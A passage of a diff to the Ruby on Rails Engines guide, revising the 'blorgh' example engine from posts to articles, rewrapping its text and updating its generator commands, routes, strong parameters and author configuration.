+from an application. The `helpers`, `mailers` and `models` directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine. + +Within the `app/assets` directory, there are the `images`, `javascripts` and +`stylesheets` directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too. + +Within the `app/controllers` directory there is a `blorgh` directory that +contains a file called `application_controller.rb`. This file will provide any +common functionality for the controllers of the engine. The `blorgh` directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application. + +NOTE: The `ApplicationController` class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines. + +Lastly, the `app/views` directory contains a `layouts` folder, which contains a +file at `blorgh/application.html.erb`. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's `app/views/layouts/application.html.erb` file. + +If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine. + +#### `bin` Directory + +This directory contains one file, `bin/rails`, which enables you to use the +`rails` sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this: ```bash -rails g model +$ bin/rails g model ``` -Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced. +Keep in mind, of course, that anything generated with these commands inside of +an engine that has `isolate_namespace` in the `Engine` class will be namespaced. -#### `test` directory +#### `test` Directory -The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file: +The `test` directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +`test/dummy`. This application will mount the engine in the +`test/dummy/config/routes.rb` file: ```ruby Rails.application.routes.draw do @@ -169,130 +276,184 @@ Rails.application.routes.draw do end ``` -This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path. +This line mounts the engine at the path `/blorgh`, which will make it accessible +through the application only at that path. -Also in the test directory is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory also. For example, you may wish to create a `test/models` directory for your models tests. +Inside the test directory there is the `test/integration` directory, where +integration tests for the engine should be placed. Other directories can be +created in the `test` directory as well. For example, you may wish to create a +`test/models` directory for your model tests. Providing engine functionality ------------------------------ -The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists. +The engine that this guide covers provides submitting articles and commenting +functionality and follows a similar thread to the [Getting Started +Guide](getting_started.html), with some new twists. -### Generating a post resource +### Generating an Article Resource -The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator. +The first thing to generate for a blog engine is the `Article` model and related +controller. To quickly generate this, you can use the Rails scaffold generator. ```bash -$ rails generate scaffold post title:string text:text +$ bin/rails generate scaffold article title:string text:text ``` This command will output this information: ``` invoke active_record -create db/migrate/[timestamp]_create_blorgh_posts.rb -create app/models/blorgh/post.rb +create db/migrate/[timestamp]_create_blorgh_articles.rb +create app/models/blorgh/article.rb invoke test_unit -create test/models/blorgh/post_test.rb -create test/fixtures/blorgh/posts.yml - route resources :posts +create test/models/blorgh/article_test.rb +create test/fixtures/blorgh/articles.yml +invoke resource_route + route resources :articles invoke scaffold_controller -create app/controllers/blorgh/posts_controller.rb +create app/controllers/blorgh/articles_controller.rb invoke erb -create app/views/blorgh/posts -create app/views/blorgh/posts/index.html.erb -create app/views/blorgh/posts/edit.html.erb -create app/views/blorgh/posts/show.html.erb -create app/views/blorgh/posts/new.html.erb -create app/views/blorgh/posts/_form.html.erb +create app/views/blorgh/articles +create app/views/blorgh/articles/index.html.erb +create app/views/blorgh/articles/edit.html.erb +create app/views/blorgh/articles/show.html.erb +create app/views/blorgh/articles/new.html.erb +create app/views/blorgh/articles/_form.html.erb invoke test_unit -create test/controllers/blorgh/posts_controller_test.rb +create test/controllers/blorgh/articles_controller_test.rb invoke helper -create app/helpers/blorgh/posts_helper.rb -invoke test_unit -create test/helpers/blorgh/posts_helper_test.rb +create app/helpers/blorgh/articles_helper.rb invoke assets invoke js -create app/assets/javascripts/blorgh/posts.js +create app/assets/javascripts/blorgh/articles.js invoke css -create app/assets/stylesheets/blorgh/posts.css +create app/assets/stylesheets/blorgh/articles.css invoke css create app/assets/stylesheets/scaffold.css ``` -The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class. +The first thing that the scaffold generator does is invoke the `active_record` +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called `create_blorgh_articles` rather than the +usual `create_articles`. This is due to the `isolate_namespace` method called in +the `Blorgh::Engine` class's definition. The model here is also namespaced, +being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due +to the `isolate_namespace` call within the `Engine` class. -Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`). +Next, the `test_unit` generator is invoked for this model, generating a model +test at `test/models/blorgh/article_test.rb` (rather than +`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml` +(rather than `test/fixtures/articles.yml`). -After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this: +After that, a line for the resource is inserted into the `config/routes.rb` file +for the engine. This line is simply `resources :articles`, turning the +`config/routes.rb` file for the engine into this: ```ruby Blorgh::Engine.routes.draw do - resources :posts + resources :articles end ``` -Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the [Routes](#routes) section of this guide. +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than +the `YourApp::Application` class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +[test directory](#test-directory) section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +[Routes](#routes) section of this guide describes it in detail. -Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`). +Next, the `scaffold_controller` generator is invoked, generating a controller +called `Blorgh::ArticlesController` (at +`app/controllers/blorgh/articles_controller.rb`) and its related views at +`app/views/blorgh/articles`. This generator also generates a test for the +controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper +(`app/helpers/blorgh/articles_controller.rb`). -Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: +Everything this generator has created is neatly namespaced. The controller's +class is defined within the `Blorgh` module: ```ruby module Blorgh - class PostsController < ApplicationController + class ArticlesController < ApplicationController ... end end ``` -NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`. +NOTE: The `ApplicationController` class being inherited from here is the +`Blorgh::ApplicationController`, not an application's `ApplicationController`. -The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: +The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced: ```ruby module Blorgh - class PostsHelper + module ArticlesHelper ... end end ``` -This helps prevent conflicts with any other engine or application that may have a post resource also. +This helps prevent conflicts with any other engine or application that may have +an article resource as well. -Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/javascripts/blorgh/posts.css`. You'll see how to use these a little later. +Finally, the assets for this resource are generated in two files: +`app/assets/javascripts/blorgh/articles.js` and +`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little +later. -By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout: +By default, the scaffold styling is not applied to the engine because the +engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't +load it. To make the scaffold styling apply, insert this line into the `<head>` +tag of this layout: ```erb <%= stylesheet_link_tag "scaffold" %> ``` -You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. +You can see what the engine has so far by running `rake db:migrate` at the root +of our engine to run the migration generated by the scaffold generator, and then +running `rails server` in `test/dummy`. When you open +`http://localhost:3000/blorgh/articles` you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions. -If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`. +If you'd rather play around in the console, `rails console` will also work just +like a Rails application. Remember: the `Article` model is namespaced, so to +reference it you must call it as `Blorgh::Article`. ```ruby ->> Blorgh::Post.find(1) -=> #<Blorgh::Post id: 1 ...> +>> Blorgh::Article.find(1) +=> #<Blorgh::Article id: 1 ...> ``` -One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine: +One final thing is that the `articles` resource for this engine should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of articles. This can be made to happen if +this line is inserted into the `config/routes.rb` file inside the engine: ```ruby -root to: "posts#index" +root to: "articles#index" ``` -Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now. +Now people will only need to go to the root of the engine to see all the articles, +rather than visiting `/articles`. This means that instead of +`http://localhost:3000/blorgh/articles`, you only need to go to +`http://localhost:3000/blorgh` now. -### Generating a comments resource +### Generating a Comments Resource -Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. +Now that the engine can create new articles, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller and then modify the articles scaffold to display +comments and allow people to create new ones. -Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column. +From the application root, run the model generator. Tell it to generate a +`Comment` model, with the related table having two columns: a `article_id` integer +and `text` text column. ```bash -$ rails generate model Comment post_id:integer text:text +$ bin/rails generate model Comment article_id:integer text:text ``` This will output the following: @@ -306,16 +467,26 @@ create test/models/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml ``` -This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. +This generator call will generate just the necessary model files it needs, +namespacing the files under a `blorgh` directory and creating a model class +called `Blorgh::Comment`. Now run the migration to create our blorgh_comments +table: + +```bash +$ rake db:migrate +``` -To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link: +To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and +add this line before the "Edit" link: ```html+erb <h3>Comments</h3> -<%= render @post.comments %> +<%= render @article.comments %> ``` -This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model: +This line will require there to be a `has_many` association for comments defined +on the `Blorgh::Article` model, which there isn't right now. To define one, open +`app/models/blorgh/article.rb` and add this line into the model: ```ruby has_many :comments @@ -325,47 +496,58 @@ Turning the model into this: ```ruby module Blorgh - class Post < ActiveRecord::Base + class Article < ActiveRecord::Base has_many :comments end end ``` -NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here. +NOTE: Because the `has_many` is defined inside a class that is inside the +`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` +model for these objects, so there's no need to specify that using the +`:class_name` option here. -Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`: +Next, there needs to be a form so that comments can be created on an article. To +add this, put this line underneath the call to `render @article.comments` in +`app/views/blorgh/articles/show.html.erb`: ```erb <%= render "blorgh/comments/form" %> ``` -Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial: +Next, the partial that this line will render needs to exist. Create a new +directory at `app/views/blorgh/comments` and in it a new file called +`_form.html.erb` which has this content to create the required partial: ```html+erb <h3>New comment</h3> -<%= form_for [@post, @post.comments.build] do |f| %> +<%= form_for [@article, @article.comments.build] do |f| %> <p> - <%= f.label :text %><br /> + <%= f.label :text %><br> <%= f.text_area :text %> </p> <%= f.submit %> <% end %> ``` -When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines: +When this form is submitted, it is going to attempt to perform a `POST` request +to a route of `/articles/:article_id/comments` within the engine. This route doesn't +exist at the moment, but can be created by changing the `resources :articles` line +inside `config/routes.rb` into these lines: ```ruby -resources :posts do +resources :articles do resources :comments end ``` This creates a nested route for the comments, which is what the form requires. -The route now exists, but the controller that this route goes to does not. To create it, run this command: +The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root: ```bash -$ rails g controller comments +$ bin/rails g controller comments ``` This will generate the following things: @@ -378,8 +560,6 @@ invoke test_unit create test/controllers/blorgh/comments_controller_test.rb invoke helper create app/helpers/blorgh/comments_helper.rb -invoke test_unit -create test/helpers/blorgh/comments_helper_test.rb invoke assets invoke js create app/assets/javascripts/blorgh/comments.js @@ -387,141 +567,229 @@ invoke css create app/assets/stylesheets/blorgh/comments.css ``` -The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`: +The form will be making a `POST` request to `/articles/:article_id/comments`, which +will correspond with the `create` action in `Blorgh::CommentsController`. This +action needs to be created, which can be done by putting the following lines +inside the class definition in `app/controllers/blorgh/comments_controller.rb`: ```ruby def create - @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) flash[:notice] = "Comment has been created!" - redirect_to post_path + redirect_to articles_path end + +private + def comment_params + params.require(:comment).permit(:text) + end ``` -This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: +This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error: ``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: - * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" - * "/Users/ryan/Sites/side_projects/blorgh/app/views" +Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], +:formats=>[:html], :locale=>[:en, :en]}. Searched in: * +"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * +"/Users/ryan/Sites/side_projects/blorgh/app/views" ``` -The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class. +The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (`test/dummy`) `app/views` directory and +then in the engine's `app/views` directory. When it can't find it, it will throw +this error. The engine knows to look for `blorgh/comments/comment` because the +model object it is receiving is from the `Blorgh::Comment` class. -This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it: +This partial will be responsible for rendering just the comment text, for now. +Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this +line inside it: ```erb <%= comment_counter + 1 %>. <%= comment.text %> ``` -The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. +The `comment_counter` local variable is given to us by the `<%= render +@article.comments %>` call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created. -That completes the comment function of the blogging engine. Now it's time to use it within an application. +That completes the comment function of the blogging engine. Now it's time to use +it within an application. -Hooking into an application +Hooking Into an Application --------------------------- -Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine. +Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a `User` class provided by the application to provide +ownership for articles and comments within the engine. -### Mounting the engine +### Mounting the Engine -First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this: +First, the engine needs to be specified inside the application's `Gemfile`. If +there isn't an application handy to test this out in, generate one using the +`rails new` command outside of the engine directory like this: ```bash $ rails new unicorn ``` -Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. +Usually, specifying the engine inside the Gemfile would be done by specifying it +as a normal, everyday gem. ```ruby gem 'devise' ``` -However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: +However, because you are developing the `blorgh` engine on your local machine, +you will need to specify the `:path` option in your `Gemfile`: ```ruby gem 'blorgh', path: "/path/to/blorgh" ``` -As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine. +Then run `bundle` to install the gem. + +As described earlier, by placing the gem in the `Gemfile` it will be loaded when +Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then +`lib/blorgh/engine.rb`, which is the file that defines the major pieces of +functionality for the engine. -To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file: +To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's `config/routes.rb` file: ```ruby mount Blorgh::Engine, at: "/blog" ``` -This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`. +This line will mount the engine at `/blog` in the application. Making it +accessible at `http://localhost:3000/blog` when the application runs with `rails +server`. -NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. +NOTE: Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as `devise_for`) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable. ### Engine setup -The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: +The engine contains migrations for the `blorgh_articles` and `blorgh_comments` +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application use this command: ```bash $ rake blorgh:install:migrations ``` -If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: +If you have multiple engines that need migrations copied over, use +`railties:install:migrations` instead: ```bash $ rake railties:install:migrations ``` -This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: +This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this: ```bash -Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh ``` -The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. +The first timestamp (`[timestamp_1]`) will be the current time, and the second +timestamp (`[timestamp_2]`) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application. -To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. +To run these migrations within the context of the application, simply run `rake +db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the +articles will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine. -If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: +If you would like to run migrations only from one engine, you can do it by +specifying `SCOPE`: ```bash rake db:migrate SCOPE=blorgh ``` -This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code: +This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as: ```bash rake db:migrate SCOPE=blorgh VERSION=0 ``` -### Using a class provided by the application +### Using a Class Provided by the Application -#### Using a model provided by the application +#### Using a Model Provided by the Application -When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense. +When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the `blorgh` engine, making articles and comments +have authors would make a lot of sense. -A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class. +A typical application might have a `User` class that would be used to represent +authors for an article or a comment. But there could be a case where the +application calls this class something different, such as `Person`. For this +reason, the engine should not hardcode associations specifically for a `User` +class. -To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application: +To keep it simple in this case, the application will have a class called `User` +that represents the users of the application (we'll get into making this +configurable further on). It can be generated using this command inside the +application: ```bash rails g model user name:string ``` -The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. +The `rake db:migrate` command needs to be run here to ensure that our +application has the `users` table for future use. -Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it. +Also, to keep it simple, the articles form will have a new text field called +`author_name`, where users can elect to put their name. The engine will then +take this name and either create a new `User` object from it, or find one that +already has that name. The engine will then associate the article with the found or +created `User` object. -First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code: +First, the `author_name` text field needs to be added to the +`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be +added above the `title` field with this code: ```html+erb <div class="field"> - <%= f.label :author_name %><br /> + <%= f.label :author_name %><br> <%= f.text_field :author_name %> </div> ``` -The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it. +Next, we need to update our `Blorgh::ArticleController#article_params` method to +permit the new form parameter: -To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being. +```ruby +def article_params + params.require(:article).permit(:title, :text, :author_name) +end +``` + +The `Blorgh::Article` model should then have some code to convert the `author_name` +field into an actual `User` object and associate it as that article's `author` +before the article is saved. It will also need to have an `attr_accessor` set up +for this field, so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the `attr_accessor` for `author_name`, the +association for the author and the `before_save` call into +`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the +`User` class for the time being. ```ruby attr_accessor :author_name @@ -531,58 +799,74 @@ before_save :set_author private def set_author - self.author = User.find_or_create_by_name(author_name) + self.author = User.find_or_create_by(name: author_name) end ``` -By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table. +By representing the `author` association's object with the `User` class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the `blorgh_articles` table with the records in the +`users` table. Because the association is called `author`, there should be an +`author_id` column added to the `blorgh_articles` table. To generate this new column, run this command within the engine: ```bash -$ rails g migration add_author_id_to_blorgh_posts author_id:integer +$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer ``` -NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. +NOTE: Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this. -This migration will need to be run on the application. To do that, it must first be copied using this command: +This migration will need to be run on the application. To do that, it must first +be copied using this command: ```bash $ rake blorgh:install:migrations ``` -Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. +Notice that only _one_ migration was copied over here. This is because the first +two migrations were copied over the first time this command was run. ``` -NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +NOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been +skipped. Migration with the same name already exists. NOTE Migration +[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration +with the same name already exists. Copied migration +[timestamp]_add_author_id_to_blorgh_articles.rb from blorgh ``` -Run this migration using this command: +Run the migration using: ```bash $ rake db:migrate ``` -Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine. +Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the `users` table - with an article, +represented by the `blorgh_articles` table from the engine. -Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: +Finally, the author's name should be displayed on the article's page. Add this code +above the "Title" output inside `app/views/blorgh/articles/show.html.erb`: ```html+erb <p> <b>Author:</b> - <%= @post.author %> + <%= @article.author %> </p> ``` -By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly: +By outputting `@article.author` using the `<%=` tag, the `to_s` method will be +called on the object. By default, this will look quite ugly: ``` #<User:0x00000100ccb3b0> ``` -This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application: +This is undesirable. It would be much better to have the user's name there. To +do this, add a `to_s` method to the `User` class within the application: ```ruby def to_s @@ -590,129 +874,258 @@ def to_s end ``` -Now instead of the ugly Ruby object output the author's name will be displayed. +Now instead of the ugly Ruby object output, the author's name will be displayed. -#### Using a controller provided by the application +#### Using a Controller Provided by the Application -Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like: +Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from `ApplicationController` by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped `ApplicationController`. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's `ApplicationController`. An easy way to +provide this access is to change the engine's scoped `ApplicationController` to +inherit from the main application's `ApplicationController`. For our Blorgh +engine this would be done by changing +`app/controllers/blorgh/application_controller.rb` to look like: ```ruby class Blorgh::ApplicationController < ApplicationController end ``` -By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application. +By default, the engine's controllers inherit from +`Blorgh::ApplicationController`. So, after making this change they will have +access to the main application's `ApplicationController`, as though they were +part of the main application. -This change does require that the engine is run from a Rails application that has an `ApplicationController`. +This change does require that the engine is run from a Rails application that +has an `ApplicationController`. -### Configuring an engine +### Configuring an Engine -This section covers how to make the `User` class configurable, followed by general configuration tips for the engine. +This section covers how to make the `User` class configurable, followed by +general configuration tips for the engine. -#### Setting configuration settings in the application +#### Setting Configuration Settings in the Application -The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `user_class` that will be used to specify what the class representing users is inside the application. +The next step is to make the class that represents a `User` in the application +customizable for the engine. This is because that class may not always be +`User`, as previously explained. To make this setting customizable, the engine +will have a configuration setting called `author_class` that will be used to +specify which class represents users inside the application. -To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line: +To define this configuration setting, you should use a `mattr_accessor` inside +the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the +engine: ```ruby -mattr_accessor :user_class +mattr_accessor :author_class ``` -This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.user_class`. +This method works like its brothers, `attr_accessor` and `cattr_accessor`, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using `Blorgh.author_class`. -The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this: +The next step is to switch the `Blorgh::Article` model over to this new setting. +Change the `belongs_to` association inside this model +(`app/models/blorgh/article.rb`) to this: ```ruby -belongs_to :author, class_name: Blorgh.user_class +belongs_to :author, class_name: Blorgh.author_class ``` -The `set_author` method also located in this class should also use 